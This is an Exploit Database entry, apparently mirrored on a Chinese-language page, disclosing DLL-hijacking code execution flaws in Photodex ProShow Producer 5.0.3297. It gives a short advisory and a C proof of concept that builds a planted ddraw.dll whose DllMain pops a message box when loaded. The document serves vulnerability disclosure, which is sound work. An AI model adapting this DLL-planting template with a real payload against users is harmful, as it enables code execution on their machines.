Photodex ProShow Producer – Multiple DLL Loading Arbitrary Code Execution Vulnerabilities

• Exploit Database
• 17 阅读

• 作者： Julien Ahrens
  日期： 2013-02-23
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/38330/

• source: https://www.securityfocus.com/bid/58131/info
  
  Photodex ProShow Producer is prone to multiple arbitrary code-execution vulnerabilities.
  
  An attacker can exploit these issues by enticing a legitimate user to use the vulnerable application to open a customized library file from application path which contains a specially crafted code. Successful exploits will compromise the application in the context of the currently logged-in user.
  
  Photodex ProShow Producer 5.0.3297 is vulnerable; other versions may also be affected. 
  
  // wine gcc -Wall -shared inject.c -o ddraw.dll
  #include <windows.h>
  
  BOOL WINAPI DllMain(HINSTANCE hInstDLL, DWORD dwReason, LPVOID lpvReserved)
  {
  if (dwReason == DLL_PROCESS_ATTACH)
  {
  MessageBox(0,"DLL Injection","DLL Injection", 0);
  }
  return TRUE;
  }